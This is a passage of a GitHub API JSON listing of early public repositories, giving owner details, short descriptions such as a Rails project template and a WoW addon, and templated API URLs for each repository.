programming","fork":false,"url":"https://api.github.com/repos/nkallen/effen","forks_url":"https://api.github.com/repos/nkallen/effen/forks","keys_url":"https://api.github.com/repos/nkallen/effen/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nkallen/effen/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nkallen/effen/teams","hooks_url":"https://api.github.com/repos/nkallen/effen/hooks","issue_events_url":"https://api.github.com/repos/nkallen/effen/issues/events{/number}","events_url":"https://api.github.com/repos/nkallen/effen/events","assignees_url":"https://api.github.com/repos/nkallen/effen/assignees{/user}","branches_url":"https://api.github.com/repos/nkallen/effen/branches{/branch}","tags_url":"https://api.github.com/repos/nkallen/effen/tags","blobs_url":"https://api.github.com/repos/nkallen/effen/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nkallen/effen/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nkallen/effen/git/refs{/sha}","trees_url":"https://api.github.com/repos/nkallen/effen/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nkallen/effen/statuses/{sha}","languages_url":"https://api.github.com/repos/nkallen/effen/languages","stargazers_url":"https://api.github.com/repos/nkallen/effen/stargazers","contributors_url":"https://api.github.com/repos/nkallen/effen/contributors","subscribers_url":"https://api.github.com/repos/nkallen/effen/subscribers","subscription_url":"https://api.github.com/repos/nkallen/effen/subscription","commits_url":"https://api.github.com/repos/nkallen/effen/commits{/sha}","git_commits_url":"https://api.github.com/repos/nkallen/effen/git/commits{/sha}","comments_url":"https://api.github.com/repos/nkallen/effen/comments{/number}","issue_comment_url":"https://api.github.com/repos/nkallen/effen/issues/comments/{number}","contents_url":"https://api.github.com/repos/nkallen/effen/contents/{+path}","compare_url":"https://api.github.com/repos/nkallen/effen/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nkallen/effen/merges","archive_url":"https://api.github.com/repos/nkallen/effen/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nkallen/effen/downloads","issues_url":"https://api.github.com/repos/nkallen/effen/issues{/number}","pulls_url":"https://api.github.com/repos/nkallen/effen/pulls{/number}","milestones_url":"https://api.github.com/repos/nkallen/effen/milestones{/number}","notifications_url":"https://api.github.com/repos/nkallen/effen/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nkallen/effen/labels{/name}"},{"id":1052,"name":"template","full_name":"jparker/template","owner":{"login":"jparker","id":703,"avatar_url":"https://2.gravatar.com/avatar/f239ccb7f4c904a74e523a3334ca45e7?d=https%3A%2F%2Fidenticons.github.com%2Fd6c651ddcd97183b2e40bc464231c962.png","gravatar_id":"f239ccb7f4c904a74e523a3334ca45e7","url":"https://api.github.com/users/jparker","html_url":"https://github.com/jparker","followers_url":"https://api.github.com/users/jparker/followers","following_url":"https://api.github.com/users/jparker/following{/other_user}","gists_url":"https://api.github.com/users/jparker/gists{/gist_id}","starred_url":"https://api.github.com/users/jparker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jparker/subscriptions","organizations_url":"https://api.github.com/users/jparker/orgs","repos_url":"https://api.github.com/users/jparker/repos","events_url":"https://api.github.com/users/jparker/events{/privacy}","received_events_url":"https://api.github.com/users/jparker/received_events","type":"User"},"private":false,"html_url":"https://github.com/jparker/template","description":"Rails project template","fork":false,"url":"https://api.github.com/repos/jparker/template","forks_url":"https://api.github.com/repos/jparker/template/forks","keys_url":"https://api.github.com/repos/jparker/template/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jparker/template/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jparker/template/teams","hooks_url":"https://api.github.com/repos/jparker/template/hooks","issue_events_url":"https://api.github.com/repos/jparker/template/issues/events{/number}","events_url":"https://api.github.com/repos/jparker/template/events","assignees_url":"https://api.github.com/repos/jparker/template/assignees{/user}","branches_url":"https://api.github.com/repos/jparker/template/branches{/branch}","tags_url":"https://api.github.com/repos/jparker/template/tags","blobs_url":"https://api.github.com/repos/jparker/template/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jparker/template/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jparker/template/git/refs{/sha}","trees_url":"https://api.github.com/repos/jparker/template/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jparker/template/statuses/{sha}","languages_url":"https://api.github.com/repos/jparker/template/languages","stargazers_url":"https://api.github.com/repos/jparker/template/stargazers","contributors_url":"https://api.github.com/repos/jparker/template/contributors","subscribers_url":"https://api.github.com/repos/jparker/template/subscribers","subscription_url":"https://api.github.com/repos/jparker/template/subscription","commits_url":"https://api.github.com/repos/jparker/template/commits{/sha}","git_commits_url":"https://api.github.com/repos/jparker/template/git/commits{/sha}","comments_url":"https://api.github.com/repos/jparker/template/comments{/number}","issue_comment_url":"https://api.github.com/repos/jparker/template/issues/comments/{number}","contents_url":"https://api.github.com/repos/jparker/template/contents/{+path}","compare_url":"https://api.github.com/repos/jparker/template/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jparker/template/merges","archive_url":"https://api.github.com/repos/jparker/template/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jparker/template/downloads","issues_url":"https://api.github.com/repos/jparker/template/issues{/number}","pulls_url":"https://api.github.com/repos/jparker/template/pulls{/number}","milestones_url":"https://api.github.com/repos/jparker/template/milestones{/number}","notifications_url":"https://api.github.com/repos/jparker/template/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jparker/template/labels{/name}"},{"id":1054,"name":"TourGuide","full_name":"TekNoLogic/TourGuide","owner":{"login":"TekNoLogic","id":318374,"avatar_url":"https://0.gravatar.com/avatar/3260416e668934213340ecc4f8a835f4?d=https%3A%2F%2Fidenticons.github.com%2F10061d18a6a471274d9f419b0bf5502b.png","gravatar_id":"3260416e668934213340ecc4f8a835f4","url":"https://api.github.com/users/TekNoLogic","html_url":"https://github.com/TekNoLogic","followers_url":"https://api.github.com/users/TekNoLogic/followers","following_url":"https://api.github.com/users/TekNoLogic/following{/other_user}","gists_url":"https://api.github.com/users/TekNoLogic/gists{/gist_id}","starred_url":"https://api.github.com/users/TekNoLogic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TekNoLogic/subscriptions","organizations_url":"https://api.github.com/users/TekNoLogic/orgs","repos_url":"https://api.github.com/users/TekNoLogic/repos","events_url":"https://api.github.com/users/TekNoLogic/events{/privacy}","received_events_url":"https://api.github.com/users/TekNoLogic/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/TekNoLogic/TourGuide","description":"WoW Addon - Powerleveling guide framework","fork":false,"url":"https://api.github.com/repos/TekNoLogic/TourGuide","forks_url":"https://api.github.com/repos/TekNoLogic/TourGuide/forks","keys_url":"https://api.github.com/repos/TekNoLogic/TourGuide/keys{/key_id}","collaborators_url":"https://api.github.com/repos/TekNoLogic/TourGuide/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/TekNoLogic/TourGuide/teams","hooks_url":"https://api.github.com/repos/TekNoLogic/TourGuide/hooks","issue_events_url":"https://api.github.com/repos/TekNoLogic/TourGuide/issues/events{/number}","events_url":"https://api.github.com/repos/TekNoLogic/TourGuide/events","assignees_url":"https://api.github.com/repos/TekNoLogic/TourGuide/assignees{/user}","branches_url":"https://api.github.com/repos/TekNoLogic/TourGuide/branches{/branch}","tags_url":"https://api.github.com/repos/TekNoLogic/TourGuide/tags","blobs_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/refs{/sha}","trees_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/trees{/sha}","statuses_url":"https://api.github.com/repos/TekNoLogic/TourGuide/statuses/{sha}","languages_url":"https://api.github.com/repos/TekNoLogic/TourGuide/languages","stargazers_url":"https://api.github.com/repos/TekNoLogic/TourGuide/stargazers","contributors_url":"https://api.github.com/repos/TekNoLogic/TourGuide/contributors","subscribers_url":"https://api.github.com/repos/TekNoLogic/TourGuide/subscribers","subscription_url":"https://api.github.com/repos/TekNoLogic/TourGuide/subscription","commits_url":"https://api.github.com/repos/TekNoLogic/TourGuide/commits{/sha}","git_commits_url":"https://api.github.com/repos/TekNoLogic/TourGuide/git/commits{/sha}","comments_url":"https://api.github.com/repos/TekNoLogic/TourGuide/comments{/number}","issue_comment_url":"https://api.github.com/repos/TekNoLogic/TourGuide/issues/comments/{number}","contents_url":"https://api.github.com/repos/TekNoLogic/TourGuide/contents/{+path}","compare_url":"https://api.github.com/repos/TekNoLogic/TourGuide/compare/{base}...{head}","merges_url":"https://api.github.com/repos/TekNoLogic/TourGuide/merges","archive_url":"https://api.github.com/repos/TekNoLogic/TourGuide/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/TekNoLogic/TourGuide/downloads","issues_url":"https://api.github.com/repos/TekNoLogic/TourGuide/issues{/number}","pulls_url":"https://api.github.com/repos/TekNoLogic/TourGuide/pulls{/number}","milestones_url":"https://api.github.com/repos/TekNoLogic/TourGuide/milestones{/number}","notifications_url":"https://api.github.com/repos/TekNoLogic/TourGuide/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/TekNoLogic/TourGuide/labels{/name}"},{"id":1057,"name":"configuration-files","full_name":"adulteratedjedi/configuration-files","owner":{"login":"adulteratedjedi","id":702,"avatar_url":"https://1.gravatar.com/avatar/699b1f8c794863bc25a00221b4120ac7?d=https%3A%2F%2Fidenticons.github.com%2Fb1eec33c726a60554bc78518d5f9b32c.png","gravatar_id":"699b1f8c794863bc25a00221b4120ac7","url":"https://api.github.com/users/adulteratedjedi","html_url":"https://github.com/adulteratedjedi","followers_url":"https://api.github.com/users/adulteratedjedi/followers","following_url":"https://api.github.com/users/adulteratedjedi/following{/other_user}","gists_url":"https://api.github.com/users/adulteratedjedi/gists{/gist_id}","starred_url":"https://api.github.com/users/adulteratedjedi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/adulteratedjedi/subscriptions","organizations_url":"https://api.github.com/users/adulteratedjedi/orgs","repos_url":"https://api.github.com/users/adulteratedjedi/repos","events_url":"https://api.github.com/users/adulteratedjedi/events{/privacy}","received_events_url":"https://api.github.com/users/adulteratedjedi/received_events","type":"User"},"private":false,"html_url":"https://github.com/adulteratedjedi/configuration-files","description":"My Config Files","fork":false,"url":"https://api.github.com/repos/adulteratedjedi/configuration-files","forks_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/forks","keys_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/keys{/key_id}","collaborators_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/teams","hooks_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/hooks","issue_events_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/issues/events{/number}","events_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/events","assignees_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/assignees{/user}","branches_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/branches{/branch}","tags_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/tags","blobs_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/refs{/sha}","trees_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/trees{/sha}","statuses_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/statuses/{sha}","languages_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/languages","stargazers_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/stargazers","contributors_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/contributors","subscribers_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/subscribers","subscription_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/subscription","commits_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/commits{/sha}","git_commits_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/git/commits{/sha}","comments_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/comments{/number}","issue_comment_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/issues/comments/{number}","contents_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/contents/{+path}","compare_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/compare/{base}...{head}","merges_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/merges","archive_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/downloads","issues_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/issues{/number}","pulls_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/pulls{/number}","milestones_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/milestones{/number}","notifications_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/adulteratedjedi/configuration-files/labels{/name}"},{"id":1061,"name":"fora","full_name":"ELLIOTTCABLE/fora","owner":{"login":"ELLIOTTCABLE","id":200,"avatar_url":"https://1.gravatar.com/avatar/4eac78fe7a7a607dcc097a0d6fd63690?d=https%3A%2F%2Fidenticons.github.com%2F3644a684f98ea8fe223c713b77189a77.png","gravatar_id":"4eac78fe7a7a607dcc097a0d6fd63690","url":"https://api.github.com/users/ELLIOTTCABLE","html_url":"https://github.com/ELLIOTTCABLE","followers_url":"https://api.github.com/users/ELLIOTTCABLE/followers","following_url":"https://api.github.com/users/ELLIOTTCABLE/following{/other_user}","gists_url":"https://api.github.com/users/ELLIOTTCABLE/gists{/gist_id}","starred_url":"https://api.github.com/users/ELLIOTTCABLE/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ELLIOTTCABLE/subscriptions","organizations_url":"https://api.github.com/users/ELLIOTTCABLE/orgs","repos_url":"https://api.github.com/users/ELLIOTTCABLE/repos","events_url":"https://api.github.com/users/ELLIOTTCABLE/events{/privacy}","received_events_url":"https://api.github.com/users/ELLIOTTCABLE/received_events","type":"User"},"private":false,"html_url":"https://github.com/ELLIOTTCABLE/fora","description":"Open source forum - done *different*","fork":false,"url":"https://api.github.com/repos/ELLIOTTCABLE/fora","forks_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/forks","keys_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/teams","hooks_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/hooks","issue_events_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/issues/events{/number}","events_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/events","assignees_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/assignees{/user}","branches_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/branches{/branch}","tags_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/tags","blobs_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/refs{/sha}","trees_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/statuses/{sha}","languages_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/languages","stargazers_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/stargazers","contributors_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/contributors","subscribers_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/subscribers","subscription_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/subscription","commits_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/commits{/sha}","git_commits_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/git/commits{/sha}","comments_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/comments{/number}","issue_comment_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/issues/comments/{number}","contents_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/contents/{+path}","compare_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/merges","archive_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/downloads","issues_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/issues{/number}","pulls_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/pulls{/number}","milestones_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/milestones{/number}","notifications_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ELLIOTTCABLE/fora/labels{/name}"},{"id":1062,"name":"dcbot","full_name":"kballard/dcbot","owner":{"login":"kballard","id":714,"avatar_url":"https://2.gravatar.com/avatar/6451ee8093c9cedc94f6c813b4dde2c5?d=https%3A%2F%2Fidenticons.github.com%2Fd14220ee66aeec73c49038385428ec4c.png","gravatar_id":"6451ee8093c9cedc94f6c813b4dde2c5","url":"https://api.github.com/users/kballard","html_url":"https://github.com/kballard","followers_url":"https://api.github.com/users/kballard/followers","following_url":"https://api.github.com/users/kballard/following{/other_user}","gists_url":"https://api.github.com/users/kballard/gists{/gist_id}","starred_url":"https://api.github.com/users/kballard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kballard/subscriptions","organizations_url":"https://api.github.com/users/kballard/orgs","repos_url":"https://api.github.com/users/kballard/repos","events_url":"https://api.github.com/users/kballard/events{/privacy}","received_events_url":"https://api.github.com/users/kballard/received_events","type":"User"},"private":false,"html_url":"https://github.com/kballard/dcbot","description":"Direct Connect bot written in Ruby","fork":false,"url":"https://api.github.com/repos/kballard/dcbot","forks_url":"https://api.github.com/repos/kballard/dcbot/forks","keys_url":"https://api.github.com/repos/kballard/dcbot/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kballard/dcbot/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kballard/dcbot/teams","hooks_url":"https://api.github.com/repos/kballard/dcbot/hooks","issue_events_url":"https://api.github.com/repos/kballard/dcbot/issues/events{/number}","events_url":"https://api.github.com/repos/kballard/dcbot/events","assignees_url":"https://api.github.com/repos/kballard/dcbot/assignees{/user}","branches_url":"https://api.github.com/repos/kballard/dcbot/branches{/branch}","tags_url":"https://api.github.com/repos/kballard/dcbot/tags","blobs_url":"https://api.github.com/repos/kballard/dcbot/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kballard/dcbot/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kballard/dcbot/git/refs{/sha}","trees_url":"https://api.github.com/repos/kballard/dcbot/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kballard/dcbot/statuses/{sha}","languages_url":"https://api.github.com/repos/kballard/dcbot/languages","stargazers_url":"https://api.github.com/repos/kballard/dcbot/stargazers","contributors_url":"https://api.github.com/repos/kballard/dcbot/contributors","subscribers_url":"https://api.github.com/repos/kballard/dcbot/subscribers","subscription_url":"https://api.github.com/repos/kballard/dcbot/subscription","commits_url":"https://api.github.com/repos/kballard/dcbot/commits{/sha}","git_commits_url":"https://api.github.com/repos/kballard/dcbot/git/commits{/sha}","comments_url":"https://api.github.com/repos/kballard/dcbot/comments{/number}","issue_comment_url":"https://api.github.com/repos/kballard/dcbot/issues/comments/{number}","contents_url":"https://api.github.com/repos/kballard/dcbot/contents/{+path}","compare_url":"https://api.github.com/repos/kballard/dcbot/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kballard/dcbot/merges","archive_url":"https://api.github.com/repos/kballard/dcbot/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kballard/dcbot/downloads","issues_url":"https://api.github.com/repos/kballard/dcbot/issues{/number}","pulls_url":"https://api.github.com/repos/kballard/dcbot/pulls{/number}","milestones_url":"https://api.github.com/repos/kballard/dcbot/milestones{/number}","notifications_url":"https://api.github.com/repos/kballard/dcbot/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kballard/dcbot/labels{/name}"},{"id":1076,"name":"cudgel","full_name":"igouss/cudgel","owner":{"login":"igouss","id":339,"avatar_url":"https://0.gravatar.com/avatar/cedb4d8fed66a5365b4ff6a556c3385f?d=https%3A%2F%2Fidenticons.github.com%2F04025959b191f8f9de3f924f0940515f.png","gravatar_id":"cedb4d8fed66a5365b4ff6a556c3385f","url":"https://api.github.com/users/igouss","html_url":"https://github.com/igouss","followers_url":"https://api.github.com/users/igouss/followers","following_url":"https://api.github.com/users/igouss/following{/other_user}","gists_url":"https://api.github.com/users/igouss/gists{/gist_id}","starred_url":"https://api.github.com/users/igouss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/igouss/subscriptions","organizations_url":"https://api.github.com/users/igouss/orgs","repos_url":"https://api.github.com/users/igouss/repos","events_url":"https://api.github.com/users/igouss/events{/privacy}","received_events_url":"https://api.github.com/users/igouss/received_events","type":"User"},"private":false,"html_url":"https://github.com/igouss/cudgel","description":"A short heavy stick","fork":false,"url":"https://api.github.com/repos/igouss/cudgel","forks_url":"https://api.github.com/repos/igouss/cudgel/forks","keys_url":"https://api.github.com/repos/igouss/cudgel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/igouss/cudgel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/igouss/cudgel/teams","hooks_url":"https://api.github.com/repos/igouss/cudgel/hooks","issue_events_url":"https://api.github.com/repos/igouss/cudgel/issues/events{/number}","events_url":"https://api.github.com/repos/igouss/cudgel/events","assignees_url":"https://api.github.com/repos/igouss/cudgel/assignees{/user}","branches_url":"https://api.github.com/repos/igouss/cudgel/branches{/branch}","tags_url":"https://api.github.com/repos/igouss/cudgel/tags","blobs_url":"https://api.github.com/repos/igouss/cudgel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/igouss/cudgel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/igouss/cudgel/git/refs{/sha}","trees_url":"https://api.github.com/repos/igouss/cudgel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/igouss/cudgel/statuses/{sha}","languages_url":"https://api.github.com/repos/igouss/cudgel/languages","stargazers_url":"https://api.github.com/repos/igouss/cudgel/stargazers","contributors_url":"https://api.github.com/repos/igouss/cudgel/contributors","subscribers_url":"https://api.github.com/repos/igouss/cudgel/subscribers","subscription_url":"https://api.github.com/repos/igouss/cudgel/subscription","commits_url":"https://api.github.com/repos/igouss/cudgel/commits{/sha}","git_commits_url":"https://api.github.com/repos/igouss/cudgel/git/commits{/sha}","comments_url":"https://api.github.com/repos/igouss/cudgel/comments{/number}","issue_comment_url":"https://api.github.com/repos/igouss/cudgel/issues/comments/{number}","contents_url":"https://api.github.com/repos/igouss/cudgel/contents/{+path}","compare_url":"https://api.github.com/repos/igouss/cudgel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/igouss/cudgel/merges","archive_url":"https://api.github.com/repos/igouss/cudgel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/igouss/cudgel/downloads","issues_url":"https://api.github.com/repos/igouss/cudgel/issues{/number}","pulls_url":"https://api.github.com/repos/igouss/cudgel/pulls{/number}","milestones_url":"https://api.github.com/repos/igouss/cudgel/milestones{/number}","notifications_url":"https://api.github.com/repos/igouss/cudgel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/igouss/cudgel/labels{/name}"},{"id":1101,"name":"micro","full_name":"seaofclouds/micro","owner":{"login":"seaofclouds","id":708,"avatar_url":"https://2.gravatar.com/avatar/0c5c5a350941044192ff794a9cd2205b?d=https%3A%2F%2Fidenticons.github.com%2Fae0eb3eed39d2bcef4622b2499a05fe6.png","gravatar_id":"0c5c5a350941044192ff794a9cd2205b","url":"https://api.github.com/users/seaofclouds","html_url":"https://github.com/seaofclouds","followers_url":"https://api.github.com/users/seaofclouds/followers","following_url":"https://api.github.com/users/seaofclouds/following{/other_user}","gists_url":"https://api.github.com/users/seaofclouds/gists{/gist_id}","starred_url":"https://api.github.com/users/seaofclouds/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seaofclouds/subscriptions","organizations_url":"https://api.github.com/users/seaofclouds/orgs","repos_url":"https://api.github.com/users/seaofclouds/repos","events_url":"https://api.github.com/users/seaofclouds/events{/privacy}","received_events_url":"https://api.github.com/users/seaofclouds/received_events","type":"User"},"private":false,"html_url":"https://github.com/seaofclouds/micro","description":"blogware that fits in your pocket","fork":false,"url":"https://api.github.com/repos/seaofclouds/micro","forks_url":"https://api.github.com/repos/seaofclouds/micro/forks","keys_url":"https://api.github.com/repos/seaofclouds/micro/keys{/key_id}","collaborators_url":"https://api.github.com/repos/seaofclouds/micro/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/seaofclouds/micro/teams","hooks_url":"https://api.github.com/repos/seaofclouds/micro/hooks","issue_events_url":"https://api.github.com/repos/seaofclouds/micro/issues/events{/number}","events_url":"https://api.github.com/repos/seaofclouds/micro/events","assignees_url":"https://api.github.com/repos/seaofclouds/micro/assignees{/user}","branches_url":"https://api.github.com/repos/seaofclouds/micro/branches{/branch}","tags_url":"https://api.github.com/repos/seaofclouds/micro/tags","blobs_url":"https://api.github.com/repos/seaofclouds/micro/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/seaofclouds/micro/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/seaofclouds/micro/git/refs{/sha}","trees_url":"https://api.github.com/repos/seaofclouds/micro/git/trees{/sha}","statuses_url":"https://api.github.com/repos/seaofclouds/micro/statuses/{sha}","languages_url":"https://api.github.com/repos/seaofclouds/micro/languages","stargazers_url":"https://api.github.com/repos/seaofclouds/micro/stargazers","contributors_url":"https://api.github.com/repos/seaofclouds/micro/contributors","subscribers_url":"https://api.github.com/repos/seaofclouds/micro/subscribers","subscription_url":"https://api.github.com/repos/seaofclouds/micro/subscription","commits_url":"https://api.github.com/repos/seaofclouds/micro/commits{/sha}","git_commits_url":"https://api.github.com/repos/seaofclouds/micro/git/commits{/sha}","comments_url":"https://api.github.com/repos/seaofclouds/micro/comments{/number}","issue_comment_url":"https://api.github.com/repos/seaofclouds/micro/issues/comments/{number}","contents_url":"https://api.github.com/repos/seaofclouds/micro/contents/{+path}","compare_url":"https://api.github.com/repos/seaofclouds/micro/compare/{base}...{head}","merges_url":"https://api.github.com/repos/seaofclouds/micro/merges","archive_url":"https://api.github.com/repos/seaofclouds/micro/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/seaofclouds/micro/downloads","issues_url":"https://api.github.com/repos/seaofclouds/micro/issues{/number}","pulls_url":"https://api.github.com/repos/seaofclouds/micro/pulls{/number}","milestones_url":"https://api.github.com/repos/seaofclouds/micro/milestones{/number}","notifications_url":"https://api.github.com/repos/seaofclouds/micro/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/seaofclouds/micro/labels{/name}"},{"id":1102,"name":"cacheable","full_name":"tobi/cacheable","owner":{"login":"tobi","id":347,"avatar_url":"https://1.gravatar.com/avatar/44a1b8a3a990e1a496261f55cd44fbd9?d=https%3A%2F%2Fidenticons.github.com%2Fc5ff2543b53f4cc0ad3819a36752467b.png","gravatar_id":"44a1b8a3a990e1a496261f55cd44fbd9","url":"https://api.github.com/users/tobi","html_url":"https://github.com/tobi","followers_url":"https://api.github.com/users/tobi/followers","following_url":"https://api.github.com/users/tobi/following{/other_user}","gists_url":"https://api.github.com/users/tobi/gists{/gist_id}","starred_url":"https://api.github.com/users/tobi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tobi/subscriptions","organizations_url":"https://api.github.com/users/tobi/orgs","repos_url":"https://api.github.com/users/tobi/repos","events_url":"https://api.github.com/users/tobi/events{/privacy}","received_events_url":"https://api.github.com/users/tobi/received_events","type":"User"},"private":false,"html_url":"https://github.com/tobi/cacheable","description":"Page caching extension of Shopify","fork":false,"url":"https://api.github.com/repos/tobi/cacheable","forks_url":"https://api.github.com/repos/tobi/cacheable/forks","keys_url":"https://api.github.com/repos/tobi/cacheable/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tobi/cacheable/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tobi/cacheable/teams","hooks_url":"https://api.github.com/repos/tobi/cacheable/hooks","issue_events_url":"https://api.github.com/repos/tobi/cacheable/issues/events{/number}","events_url":"https://api.github.com/repos/tobi/cacheable/events","assignees_url":"https://api.github.com/repos/tobi/cacheable/assignees{/user}","branches_url":"https://api.github.com/repos/tobi/cacheable/branches{/branch}","tags_url":"https://api.github.com/repos/tobi/cacheable/tags","blobs_url":"https://api.github.com/repos/tobi/cacheable/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tobi/cacheable/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tobi/cacheable/git/refs{/sha}","trees_url":"https://api.github.com/repos/tobi/cacheable/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tobi/cacheable/statuses/{sha}","languages_url":"https://api.github.com/repos/tobi/cacheable/languages","stargazers_url":"https://api.github.com/repos/tobi/cacheable/stargazers","contributors_url":"https://api.github.com/repos/tobi/cacheable/contributors","subscribers_url":"https://api.github.com/repos/tobi/cacheable/subscribers","subscription_url":"https://api.github.com/repos/tobi/cacheable/subscription","commits_url":"https://api.github.com/repos/tobi/cacheable/commits{/sha}","git_commits_url":"https://api.github.com/repos/tobi/cacheable/git/commits{/sha}","comments_url":"https://api.github.com/repos/tobi/cacheable/comments{/number}","issue_comment_url":"https://api.